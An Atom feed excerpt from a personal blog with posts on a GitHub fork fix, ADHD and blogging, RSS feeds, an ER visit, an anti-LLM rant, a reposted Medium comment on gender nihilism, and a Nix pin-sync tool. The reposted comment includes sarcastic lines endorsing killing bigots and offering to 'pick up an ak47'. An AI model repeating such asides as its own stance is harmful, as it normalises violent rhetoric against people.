&lt;p&gt;Given the &lt;a href=&quot;https://www.theverge.com/news/757461/microsoft-github-thomas-dohmke-resignation-coreai-team-transition&quot;&gt;sorry state of GitHub&lt;/a&gt;, I figured it was time to start opening “pull requests” there in the form of &lt;a href=&quot;https://github.com/contaimlabs/external-dns-bunny-webhook/issues/23&quot;&gt;issues that contain instructions for fetching from off-site&lt;/a&gt;. Included here for posterity.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I really wanted to get this working for me, so I ended up forking the project with my fix and build environment. The webhook currently doesn’t handle root records being handed to it by ExternalDNS correctly, and will panic if that happens.&lt;/p&gt;
&lt;p&gt;You can find the source here: &lt;a href=&quot;https://nossa.ee/~talya/external-dns-bunny-webhook&quot;&gt;https://nossa.ee/~talya/external-dns-bunny-webhook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you’d like to pull the relevant commit, this should do the trick:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ git fetch https://nossa.ee/~talya/external-dns-bunny-webhook acb21849b8292222d7e0c85ac8d3dea913147bad
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;$ git cherry-pick FETCH_HEAD
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The patch is inline here if you’d rather apply it directly with &lt;code&gt;git am&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;(elided)&lt;/p&gt;
&lt;/blockquote&gt;</content>

  </entry>

  <entry>
    <title>blogging, ADHD, and You</title>
    <updated>2025-08-16T08:54:26Z</updated>
    <id>https://kivikakk.ee/2025/08/16/blogging-adhd-and-you</id>
    <link href="https://kivikakk.ee/2025/08/16/blogging-adhd-and-you" />

    <content type="html">&lt;p&gt;This probably doesn’t apply to nearly everyone in the target demographic, but the connection to me seems pretty clear.&lt;/p&gt;
&lt;p&gt;I like computers. Static site generators are neat; conceptually they are clean, they ask for almost no infrastructure for your deployed site, are performant as heck, all of that.&lt;/p&gt;
&lt;p&gt;I also have ADHD. One extra step can be the difference between a task ever getting done or not.&lt;/p&gt;
&lt;p&gt;I &lt;em&gt;also&lt;/em&gt; enjoy writing, and would like to do it as often as inspiration strikes.&lt;/p&gt;
&lt;p&gt;If I look at my &lt;a href=&quot;https://kivikakk.ee/index&quot;&gt;posting history&lt;/a&gt;, there are some clear periods where I happily post &lt;em&gt;a lot&lt;/em&gt;, and then there are the other times.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The former are periods where I am using something where I can write and publish a piece of work entirely from my phone, or a browser tab lazily opened and then closed.&lt;/li&gt;
&lt;li&gt;The latter are those periods where I am relying solely on an SSG, where publishing usually minimally involves creating a file, writing in it, running a server process to preview the result as I write, calling it done at some point, then running some kind of generate and upload process, as well as committing to version control.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’ll note too that “well you can always write a draft in a note and then do the publishing work later” doesn’t help, at all — it hasn’t made anything simpler,  that’s actually &lt;em&gt;adding&lt;/em&gt; a step.&lt;/p&gt;
&lt;p&gt;We want to reduce the cycle time as much as possible. Giving yourself aliases and shortcuts to make the necessary steps involved in publishing with SSGs closer to hand is great, but for me at least, the results speak for themselves :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>where is your rss! please!!</title>
    <updated>2025-08-16T08:37:46Z</updated>
    <id>https://kivikakk.ee/2025/08/16/where-is-your-rss-please</id>
    <link href="https://kivikakk.ee/2025/08/16/where-is-your-rss-please" />

    <content type="html">&lt;p&gt;This keeps happening:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I read a blog post I really like; maybe I found it on &lt;a href=&quot;https://lobste.rs&quot;&gt;Lobsters&lt;/a&gt;, maybe it was a link via another blog, who knows. I liked the post.&lt;/li&gt;
&lt;li&gt;I read other posts on their blog. I read the about page, or look at some projects! This is a cool person!&lt;/li&gt;
&lt;li&gt;I decide I’d love to keep reading their blog. I look for an RSS/Atom feed, so I can know the next time they post, and the next, and the next!&lt;/li&gt;
&lt;li&gt;There is no RSS or Atom feed. There is no way to find out the next time they post, short of manually checking every so often, and that is not practicable.&lt;/li&gt;
&lt;li&gt;Sad.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This happens surprisingly often — “surprisingly” because, if you don’t give your readers some way to actually be “your readers”, you kind of guarantee you will not have any readers! In which case, I mean, it’s cool that you write and all, but see point number 5 above: sad!! I want to read your posts! Please let me!&lt;/p&gt;
&lt;p&gt;(I am writing this post partly so that I can include it in the emails I send to folks when I find out they don’t have a feed I can find. If I have sent this to you, I mean no offence, nor do I wish to put work onto you! I’d just like to share that I think your blog is neat, enough so that I felt moved to reach out to you.)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>welp ¯\_(ツ)_/¯</title>
    <updated>2025-08-16T06:45:54Z</updated>
    <id>https://kivikakk.ee/2025/08/16/welp</id>
    <link href="https://kivikakk.ee/2025/08/16/welp" />

    <content type="html">&lt;p&gt;Have been nursing some chest heaviness, palpitations and shooting pains for 10 days now. These symptoms on their own aren’t particularly uncommon, but a week ago some incredible neck and shoulder pain started to flare up on top of it — and get worse, and worse, and worse; like, &lt;em&gt;all day&lt;/em&gt; soreness, pretty much trying to knead my left shoulder (in particular) into not-wanting-to-have-it-surgically-removed.&lt;/p&gt;
&lt;p&gt;I have been to the ER for a self-suspected blood clot/heart attack/whatever before, and didn’t particularly want to repeat the exercise. Maybe it was just a chest infection with extra steps? After umming and ahhhing about it for a couple days, worsening, I finally book a GP respiratory appointment. Yesterday afternoon the appointment time arrives.&lt;/p&gt;
&lt;p&gt;I have to “I know what it sounds like” to the GP a few times, explain my elevated heart-rate on arrival is probably just POTS (since I was sitting in the car waiting for the all clear to come in, not in the waiting room), explain the pain in my legs is probably just the chronic pain I &lt;em&gt;always&lt;/em&gt; have in my legs, and after listening to my lungs (all clear) he directs me straight to the ER. I am thankful to my and Annie’s MSA 900s, and it who told me about them.&lt;/p&gt;
&lt;p&gt;Chest XR, RAT, ECG, bloods to check for clot or heart damage — nothing. Everything looks fantastic. Maybe it’s pleurisy. Go home, rest, eat lots of vegetables.&lt;/p&gt;
&lt;p&gt;So this is where we’re at!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>on llms (Ⅱ)</title>
    <updated>2025-08-15T12:25:07Z</updated>
    <id>https://kivikakk.ee/2025/08/15/on-llms-ii</id>
    <link href="https://kivikakk.ee/2025/08/15/on-llms-ii" />

    <content type="html">&lt;p&gt;It is phenomenal that, for all the hand-wringing about the wastefulness of Electron apps and bloat of modernity, the industry managed to find a way to take that to the n’th degree, and somehow have ~everyone buy into it, even as the results range consistently from mediocre to outright deleterious, not to mention the frankly insane externalities. May deep shame find its way under the skin of those peddling and enabling this multidimensional clusterfuck of an insult to what is good.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>girls kissing, in your area</title>
    <updated>2025-08-09T06:38:51Z</updated>
    <id>https://kivikakk.ee/2025/08/09/girls-kissing-in-your-area</id>
    <link href="https://kivikakk.ee/2025/08/09/girls-kissing-in-your-area" />

    <content type="html">&lt;p&gt;“It could never work. She doesn’t like Nix flakes.”&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>“a gender terrorism, if you will.”</title>
    <updated>2025-08-05T05:44:37Z</updated>
    <id>https://kivikakk.ee/2025/08/05/a-gender-terrorism</id>
    <link href="https://kivikakk.ee/2025/08/05/a-gender-terrorism" />

    <content type="html">&lt;p&gt;I’ve just had the pleasure of reading three interesting pieces of discourse.&lt;/p&gt;
&lt;p&gt;First up, &lt;a href=&quot;https://libcom.org/article/gender-nihilism-anti-manifesto-alyson-escalante&quot;&gt;Alyson Escalante’s 2016 piece “Gender Nihilism: An Anti-Manifesto”&lt;/a&gt;. There is very little about this I have to disagree with.&lt;/p&gt;
&lt;p&gt;Then, her own 2018 response to that work, &lt;a href=&quot;https://alyesque.medium.com/beyond-negativity-what-comes-after-gender-nihilism-bbd80a5fc05d&quot;&gt;“Beyond Negativity: What Comes After Gender Nihilism?”&lt;/a&gt;. On the one hand, pushing for a more material analysis is excellent, though I feel like all the work is actually done here by Wittig and this merely restates it&lt;/p&gt;
&lt;p&gt;On the other hand, what on earth is this ending? It reads just like any other wishy-washy proclamation, missing only a &lt;code&gt;communism,-now!.88x31.gif&lt;/code&gt; to slap on your homepage in solidarity. This anti-anti-manifesto is decidedly a manifesto.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;The comments, however, conceal a banger which I nearly missed. “blister” (&lt;code&gt;@destroysound&lt;/code&gt;) starts, and then wow, they continue. I don’t trust Medium to continue existing for that much longer — or even the Wayback machine (which Medium very carefully tries to break :) love it) — so I’m reproducing it here in its entirety.&lt;/p&gt;
&lt;p&gt;There is very little about this I have to disagree with.&lt;/p&gt;
&lt;hr /&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@destroysound/nihilism-is-infinitely-preferable-to-simplistic-contrived-explanations-and-lack-of-intellectual-ef20363d81e7?source=post_page---post_responses--bbd80a5fc05d----1-----------------------------------&quot;&gt;blister (Jul 9, 2018 (edited))&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;nihilism is infinitely preferable to simplistic, contrived explanations and lack of intellectual rigor. nihilism is eminitely useful and practical for critique, for attack, for demonstrating what cannot be known or said. let me preface by saying this — i don’t disagree with your thesis, but your conclusion. the struggle for gender abolition may well be linked to the struggle for communism, in fact, i think that this is extremely likely to be true. it is altogether probable that establishing communism will improve material conditions for everyone (except the bourgeoisie), especially marginalized people such as those who are gender variant. but you haven’t done any of the due diligence to show that that establishing communism and gender abolition are equivalent (other than to quote someone who simply tells us they are and provides no evidence to back up this claim).&lt;/p&gt;
&lt;p&gt;to begin with, you claim that butler’s construction of gender is not comprehensive. but your new conception is exponentially less so — it relies on a naive sex binary and assumes that there are no more complicated forces at play than a simple narrative of class struggle. you’re replacing a complex, subtle, well thought out, researched conception of gender with many points of actuation with, literally, “girls are oppressed and boys are oppressors”. you apparently expect nobody to notice the shell game you are playing here. your new conception of gender would be considered incomplete and dishonest by anyone who had taken a single undergraduate womens studies class, as they would all recognize that patriarchy harms men as well, for example, by strictly limiting their societally acceptable roles and behavior. not to mention there is no conception here of intersex conditions, trans individuals, nonbinary individuals, third/fourth genders. all of which are conditions for which we have historical evidence of dating back to paleolithic times in some cases, all of which we have observed in native societies, all of which appear to be normal, naturally occurring phenomena, with much evidence pointing at a neurological source for some of these conditions. surely you don’t expect us to believe that the construction of third or fourth genders in many native societies the world over was shaped by class struggle. if that really is your thesis, you should be able to find evidence of such in those societies — for example, what kind of economic and political forces cause a society to develop 3 genders instead of 2? is there any pattern to the nature of societies that express 3 genders? for example, if third genders are all systematically oppressed, why? if not, what causes their formation, since your position is that it is the oppression that precedes the identity? this is all being very lenient with your theory of gender as it doesn’t even conceptualize any of this at all.&lt;/p&gt;
&lt;p&gt;and of course, you haven’t done any of this ground work that i just described. we are expected to just accept this stale, offensive binarist narrative that makes oppression the very core of the female identity, indeed, we are meant to believe that there is no female identity other than being the oppressed. if that is true, why would any trans woman who understands this choose to transition? are trans feminine people simply absurd masochists who choose or are compulsed to put themselves into a role which is defined by being oppressed? are we just (slightly) more socially acceptable rachel dolezal clones once more? or is it a simple (and self-destructive) aesthetic fetish — an invocation to buffalo bill, perhaps? if gender is only a material relationship, and nothing else, then trans feminine people seem to be headed suspiciously in the direction of our old friend, the ‘mentally ill’ evaluation again, or at least, to be looked at with a nervous eye, like someone who enjoys flinging themselves down stairwells for fun. hi, i’m blister, welcome to jackass.&lt;/p&gt;
&lt;p&gt;you remark that gender nihilism, “due to its grounding in a faulty and misapplied foucauldian notion of displaced and dispersed power, never asks whose power is being enacted and whose interest this all serves” as if this is not a question which could be cleanly answered by a post-structualist analysis and which might, there as well, lead into a discussion of market and political forces as well as many other forces which are exerted on particular gendered identities. so, if the original argument never asked the question, then maybe the logical start might be asking the question, instead of re-contextualizing the entire argument? since you chose to throw out the whole argument instead, this was obviously pretense. you might as well have just written “i’m a marxist-leninist now, so i have to recant all of this horrible postmodern stuff” and had done with this article.&lt;/p&gt;
&lt;p&gt;you unfairly equate nihilism with bleakness — despair and lack of hope, and then ironically place all of your precious newborn hope in a project that is essentially just a contrived vessel for these hopes, with no clear plan on how we will actually get there or what will happen to gender when we do. will gender disappear? why does gender demonstrably exist in the historical record and in native societies and before the formation of capitalism then? as a matter of fact, what happened to gender in various implementation of communism? any historical basis for your argument.. at all? you summarily list “patriarchy”, “white supremacy”, “colonialism”, “the nuclear family” and “capitalism” as the factors that lead to the construction of gender and very neatly, they are exactly what your panacea aims to address. you haven’t provided even a tiny sliver of insight into how building communism will naturally lead to gender abolition — only shown that it will lead to better material conditions for women and queer folks, which should have been obvious to any lukewarm brain in the first place. how does this naturally lead to gender abolition?&lt;/p&gt;
&lt;p&gt;do you surmise that the gay identity will also vanish under communism? there seems to be no historical basis for that sort of claim in actual communism in the wild, and quite a bit of evidence that actually, homophobia doesn’t just go away under communism either, so it seems unlikely that this was intended. is the gay identity somehow fundamentally different than the trans identity? than other gender identities? how could there even be a gay identity without gender, anyway? what about other identity politics? what force or program will cause this? how will it operate? can this trick be shown to have been performed successfully historically? is this also a kind of alchemy of hope? will gender disappear if you stop believing in fairies?&lt;/p&gt;
&lt;p&gt;what happens to non-binary gender identities in any interim period? are they still afforded special rights until their identity somehow vanishes? or are they ignored and become victims of inevitable hate crimes due to their visibility? do we make temporary hate crime laws? that measure seems like it contradicts your thesis quite a bit. does the revolution suddenly make people who hate gender nonconforming folks stop? or do we just kill every last one of them? (i’m on board with that last suggestion) do we create a concept of thoughtcrime? is tom cruise involved? do we just ask gender nonconforming people nicely to stop making and using identities, there’s too many of them, thank you, as soon as we get done storming the white house and executing the POTUS? how will building communism stop the proliferation of gender identities? what will stop LGBT people from continuing to desire to map out our differences using identity? will people have sexual preferences for other people who have particular types of genitals under communism? will people have sexual preferences for particular types of bodies? will hormonal differences be dealt with via medical intervention as a child in order to eliminate visibly transgender people? will visibly trans people be considered ‘third gender’ during any interim period, or at any time at all? what’s to stop this? and again — what is the class character of a third gender anyway? will people be able to get sex reassignment surgery? how will those people identify themselves? will transgender people be required to identify themselves to lovers under law? what if doing so would make them unsafe or subject to misapplied homophobia? and if trans people can be subject to homophobia, then how can material conditions be the only component to a conception of gender at all? should a man be legally allowed to shoot a transgender woman if he takes her home and then realizes she has a dick? in general, will homophobia ever be used to justify violence against people whose genitals are atypical for their gender presentation (trans panic)? how do we stop this during any transitional period? how do we stop homophobia in general? just be communists for a while? how long until bigots stop passing bigotry on to others? 100 years? 200? how many trans people are gonna get killed during that time while we figure out how to create this cold fusion generator? how will the system prevent prejudices like homophobia from re-establishing a conception of gender identity through common fear (see also — bathroom panic, trans panic). how will people designate their sexual preferences to others? will this reference gender identity? gender presentation? sex? something else? could any of these things reify gender identity once it has been abolished?&lt;/p&gt;
&lt;p&gt;what mechanisms will stop the ‘outsider effect’ towards those who have an atypical gender presentation? in case you are unaware, the outsider effect is a proven and testable bias against people who are not recognized as having a shared identity with the subject (this effect can occur even when the ingroups and outgroups are determined randomly: &lt;a href=&quot;https://www.theatlantic.com/politics/archive/2014/09/how-politics-breaks-our-brains-and-how-we-can-put-them-back-together/453315/&quot;&gt;https://www.theatlantic.com/politics/archive/2014/09/how-politics-breaks-our-brains-and-how-we-can-put-them-back-together/453315/&lt;/a&gt;). perhaps this, too, is a symptom of the us-vs-them narrative of capitalism — but it seems too pervasive to be likely. if it is, what could be the cause? if this is, instead, an evolutionary feature, what steps will society take to negate it? will you institute programs to build a common sense of identity with people of various gender presentation? will we generate propaganda informing people of the existence of others whose bodies are not like their own, but assurethem they are nevertheless our comrades, we promise. how is this any different than what we do right now? will the housing project expose everyone to a rare phenotype of somehow still undifferentiated, identity-less human so that people become more tolerant to differences? what if people with that gender presentation or sexual characteristics are VERY rare, say, 1/1000 or less (ie: persons with an intersex condition, for example, &lt;a href=&quot;https://en.wikipedia.org/wiki/5%CE%B1-reductase_deficiency&quot;&gt;5α-reductase deficiency&lt;/a&gt;)? maybe there can be meet and greet sessions, or mandatory viewing of educational renditions of ru-paul’s “female or sh*m*le” segment. again — how would any of these techniques, loosely categorized as ‘visible gender diversity’, be different than how we &lt;strong&gt;already&lt;/strong&gt; raise awareness for such concerns &lt;strong&gt;right this moment&lt;/strong&gt; under capitalism?&lt;/p&gt;
&lt;p&gt;in general: what’s to keep old concepts of identity from seeping back in to your pristine, identity-less biosphere? how will we shed them in the first place? will ex-men voluntarily give up their male identity? will ex-women consciously stop referring to themselves as women? will we stop gendering others? why would we make the effort to do this? will there be penalties if we do not? will everyone at once choose to forget all of the gender-based signifiers that we learn throughout our lives — pink and blue, dresses and slacks, barbie and gi-joe, jack and jill, link and zelda (these two can even switch gender), football and ballet… will we just all at once forget that this entire language of gender signifiers ever existed and immediately stop judging others based on gender? if not, what process will cause this? how can we be sure that all of our old prejudices are gone? will anyone assume that women are more emotional than men during any transitional period? will anyone look down on a man if he cries during this period? how do we stop these stereotypes from propagating? how are they directly linked to material conditions anyway? aren’t the reasons for these false judgements actually usually attributed to ‘hormones’, something that butler mentions in her definition of gender? is there any basis to that? are there any other reasons? are they really due to market and political forces? if so, how? will the result of this whole process look like a completely uniform set of humans that display no sex characteristics or gender signifiers whatsoever? how would we even get there? and how could such a thing be maintained? what would be the consequences?&lt;/p&gt;
&lt;p&gt;you rightly show via sources that establishing communism and relocating queer children to loving homes would increase their quality of life (although, of course, this alone cannot be shown to end homophobia, which seems to be demonstrably present in existent communist societies as mentioned above). but what reason do you have to think that building communism will lead to the complete elimination of the nuclear family when that paradigm has been dominant in europe since the 13th century — during which time not even agrarian capitalism had been developed! will parents be separated from their children at birth? will you maintain diversity quotas in each communal housing block? one trans person, 4 gays, and 3 bis per city block, please. will all children be randomly rotated between private homes to avoid normalization of a particular style of relationship? what will the results of this unprecedented intentional rearrangement of the family unit be? how could we possibly even know? how will this new arrangement avoid replicating the exact structure of the nuclear family without a particular necessity for blood relations via spontaneous formation (exactly what happens right now)? or shall wesimply elect to grow individuals in vats, a truly brave new world. that might be the best option, since via technological handwaving you can be sure that everyone born has the same sex, gender, and sexuality. this would actually be less handwaving than any other method i’ve mentioned because now you just have to figure out a straightforward technical solution rather than an np-impossible lovecraftian social bullet hell with more unsolved question marks than the riddler’s walk-in closet. but again, there are, of course, no details about how this project will be accomplished, or what parts of the nuclear family are of most concern, only that it will be accomplished somehow by a program involving communal housing and rehoming lgbt kids, and that the stated goal is to destroy the nuclear family. as a matter of fact, this is a goal that we both share, but fortunately enough, it seems to me that this odious beast is nearly on its death bed already, and i plan on stabbing it a few times more and desecrating its corpse on my way out, so you might not even bother.&lt;/p&gt;
&lt;p&gt;you invite us to perform “daring imaginations of new futures” and develop “a clear set of materialist theoretical principles and praxis to unite around” but you don’t do any of the ground work on any of this yourself or give us any examples or speculation to convince us that this new waypoint that you’ve set on the way to abolishing gender is going to take care of resolving even a significant portion of the goal. i’ve done more honest imagination here of what such a future or program might look like than you did in your article, and i can’t really see it being an instant win in any way. you can’t just tell people to “build communism” and “imagine the results” to avoid having the impetus of doing the hard work of showing how it would actually operate. your proposal is more of a directive and a hope — it’s not that it asks more questions than it answers, it asks ALL of the questions and answers none. and then, to wrap it up, you instruct us to go forth, have hope (which is really the only praxis you are advocating here), and nihil no more. cheer up emo kid, the vanguard of the revolution will be by shortly. if i can speak frankly, i can assure you that this article did not give me hope. my experience of gender is atypical and i often bump up against the absurdity of it in my daily life. the inability of identity to encapsulate my experience is something which troubles me regularly. ironically, the simple acceptance of the unintelligiblity and incoherence of gender identity makes me feel more relieved than the proposition that i am going to need to wait and work for a revolutionary moment and the implementation of communism, as well as coherent, actionable, scientific solutions to many of the questions above (many of which seem very difficult), before i see even a potential improvement to the random and incoherent whims of gender identity. there are trans people out here dying and we need a solution today.&lt;/p&gt;
&lt;p&gt;your stated goals in this piece are to refactor your earlier work, which is based around a proposed discarding of the entire concept of gender identity, into an actionable and theoretical framework. but other than convince me that gender diverse persons would likely be somewhat better treated under communism, which i would have accepted without question before i even read this article. you haven’t actually generated any framework except one based around binary gender. if that were acceptable, we wouldn’t be in the case where we need recognition and special rights at all, so we would never have to have this tedious discussion in the first place. the whole reason we ARE having this discussion is because trans people exist, we have existed since well before capitalism was pervasive, and we wanted to self-identify so that we could find each other and organize. you are absolutely correct in your original article about the problems that seeking recognition brings. the desire for recognition and the introduction/propagation of labels reifies the violence contained in the binary and focuses transphobia down onto the people most vulnerable. but your new solution is an order of magnitude worse. it’s actively transphobic itself. you went from a theory that affirms all gender expressions by discarding the need to identify at all, to one that reverts to an incomplete, binarist view of gender which actively excludes the same people that the theory was supposed to be serving in the first place. given this, i would like to propose my own alternate solution for gender nihilism, one which can be immediately put into action by any interested party who wants to do something productive instead of ‘daring imaginations of new futures’, which i have been doing pretty much all day now, with less than stellar results, as you can see.&lt;/p&gt;
&lt;p&gt;rather than a passive negation, or a wistful hope for an unplanned, and therefore highly improbable future, i propose an immediate, active, destructive gender nihilism, a critique, not a program, centered fully upon this moment, one that transmits itself through propaganda of the deed, deliberate and public acts of gender transgression, constant and relentless confrontation and challenging of norms. a gender terrorism, if you will. a rejection of gender identity and gender roles, but one in active, deliberate motion. these acts incite the viewer to question their own beliefs and preconceptions about gender. these acts are as likely to be performed by gender conforming or gender nonconforming people, they can be permanent or temporary, and they offer a degree of security to the gender nonconforming people who participate in them, as they can’t be readily identified. these acts don’t even need to be conscious — it’s easy enough to identify movements like the metrosexual movement which, although toothless and comical in many ways, represented a significant and, i would argue, more or less permanent refactor to the socially accepted gender presentation of men. these acts are inherently threatening to the bourgeoisie, who, as you very correctly noted, use the concept of binary gender as well as many other constructed identities to divide and attack individuals within their class. they are disrupting to transphobic hate groups as they obscure the identities of trans people by making the ‘definition’ of their gender presentation overlap with other gender identites (for example, consider if wearing dresses was a common act for men. how would people know at a glance who was a non-passing trans woman? more practically, what if non-passing trans women dressed like butch lesbians instead of the stereotype of non-passing trans women as drag queens? would anybody even pick up on that at all? this is a common angle of attack for me, by the way. these are just a few examples. there is a universe of highly transgressive gender shit out there.) i propose that these acts of gender transgression are part of an emergent, decentralized process that is already ongoing and, indeed, this is one of the reasons for the current proliferation of gender identities.&lt;/p&gt;
&lt;p&gt;the battle has already been joined, and it started in earnest when time magazine announced the ‘transgender tipping point’, at which point this shit hit the mainstream consciousness like a fat line of fentanyl, sending the entire trans community into distressed spasms and respiratory arrest as we were thrust into the spotlight. months later, caitlyn jenner was the worst possible reminder to cis folks that we exist. the only immediate and logical response to our bad press is to act visibly in ways that cause people to openly question and reject the categories that have been constructed, as well as rethink their preconceptions and stereotypes within those categories. as society loses its ability to differentiate between gender identity, gender presentation, fashion, body modification, improvisation, sex, practical jokes, and so on and so forth, our ability to conceive of any cohesive gender identity will be crippled. as we expand the acceptable presentation for any gender in the mind of average people, the lines that were drawn between once clear categories become more and more blurred. in short, we DDOS gender identity, spamming absurd and unique identities, showing in the process the incoherence of all identities, adopting a thousand masks that might or might not be our own, sabotaging entire categories. show people there is not anything sacred there, that we’re just trying things out to see how we like them, and that this is perfectly fine and good and &lt;strong&gt;safe&lt;/strong&gt;. make people smile instead of making them feel trapped in a prescribed role, make people think about their own identity in the process. the natural conclusion of this process is a negation of gender entirely — beginning with the observation that no label can perfectly describe your unique and mutable self-expression. increased visibility of gender transgression also serves over time to normalize these presentations, which avoids the dehumanizing, us-vs them effects of identity.&lt;/p&gt;
&lt;p&gt;as a side note, this sort of conception of gender exists in other places in the world today, such as japan, where gender non-conformity, especially for ‘males’, is significantly more accepted than in the western world. do you reckon this is because of market or political forces?&lt;/p&gt;
&lt;p&gt;essentially, i propose we do what the trans community has been doing this whole time. we just trans even harder. find new and dangerous ways to do it. find ways to make it out safe. initiate others. don’t police identity, but make a show of reinventing ourselves so many times and so radically that identity’s true nature is exposed — it is nothing at all.&lt;/p&gt;
&lt;p&gt;or, you know, we could just wait for the rev and then revisit the whole growing people in vats idea, or just all forget who we were completely somehow&lt;/p&gt;
&lt;p&gt;y’know what, i’m gonna keep doing it my way for now since its getting me results that i can actually quantify. just let me know when you need me to pick up an ak47 or write some software for the people’s army. just dont tell me to pick boy or girl.&lt;/p&gt;
&lt;p&gt;-blister&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>íqán — sync Nix flake pins between projects.</title>
    <updated>2025-08-05T04:03:45Z</updated>
    <id>https://kivikakk.ee/2025/08/05/iqan-sync-nix-flake-pins-between-projects</id>
    <link href="https://kivikakk.ee/2025/08/05/iqan-sync-nix-flake-pins-between-projects" />

    <content type="html">&lt;p&gt;I use Nix flakes a &lt;em&gt;lot&lt;/em&gt; — both in development, and in how I deploy artefacts. (You can see my primary flake’s &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/5673e6dd48ac033c2c1902c0b88acf317440770d/flake.nix?k=ZVpCnHie4DPZhSqc7xVf9JaTXrcZnMHZA7Xlvd-Ih5w%3D#L4&quot;&gt;17 inputs&lt;/a&gt;!)&lt;/p&gt;
&lt;p&gt;One thing that has gotten a bit annoying, though, has been keeping the pins somewhat in sync. I regularly end up with a dozen &lt;code&gt;nixpkgs&lt;/code&gt; and &lt;code&gt;fenix&lt;/code&gt; and (etc. etc. etc.) variants in my Nix store, meaning I’d also have half a dozen different Rust, Erlang, Elixir and whatever other versions installed too. If I dare &lt;code&gt;nix-collect-garbage -d&lt;/code&gt;, then working on any given project might give me a surprise as it turns out it had a slightly older pin and I actually need to wait for &lt;em&gt;its&lt;/em&gt; special magical Elixir version.&lt;/p&gt;
&lt;p&gt;And so on!&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;inputs.X.follows&lt;/code&gt; is all good and well when combining them into a unified whole, but I don’t use (and don’t intend to use) global devShells — I want each project to stand on its own. So, instead, I want a way to compare and optionally sync the locked versions from some reference to my projects. For a while I found it was a good enough hack to just &lt;code&gt;cp ~/g/vyx/flake.lock .&lt;/code&gt; and then let the next Nix invocation remove all the irrelevant ones … but then I’d introduce a dependency which hitched its own &lt;code&gt;nixpkgs&lt;/code&gt; along for the ride, and for Reasons™ &lt;em&gt;that&lt;/em&gt; would get called &lt;code&gt;&amp;quot;nixpkgs&amp;quot;&lt;/code&gt; in &lt;code&gt;flake.lock&lt;/code&gt;, and my actual primary Nixpkgs pin called &lt;code&gt;&amp;quot;nixpkgs_2&amp;quot;&lt;/code&gt;. For a while I was then accidentally using &lt;em&gt;that&lt;/em&gt; reference everywhere. Goodness.&lt;/p&gt;
&lt;p&gt;Here’s &lt;a href=&quot;https://nossa.ee/~talya/iqan&quot;&gt;íqán&lt;/a&gt;. It takes a plan file, which specifies the source (Vyx, for me), and then a list of targets along with which inputs should be synced. Here’s an excerpt of a sample run:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ iqan ./iqan.json
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;Source: /Users/kivikakk/g/vyx
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;Target: /Users/kivikakk/g/a1d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;-----------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;input fenix is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;Target: /Users/kivikakk/g/chog
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;Target: /Users/kivikakk/g/cmark-gfm-hs
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;--------------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;input nixpkgs is synced
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;Target: /Users/kivikakk/g/comenzar
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;----------------------------------
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;input nixpkgs is ahead of source (!)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;source: 1751741127 (2025-07-05 18:45:27 UTC)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;target: 1752620740 (2025-07-15 23:05:40 UTC)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;(S)ync to source, or (I)gnore? s
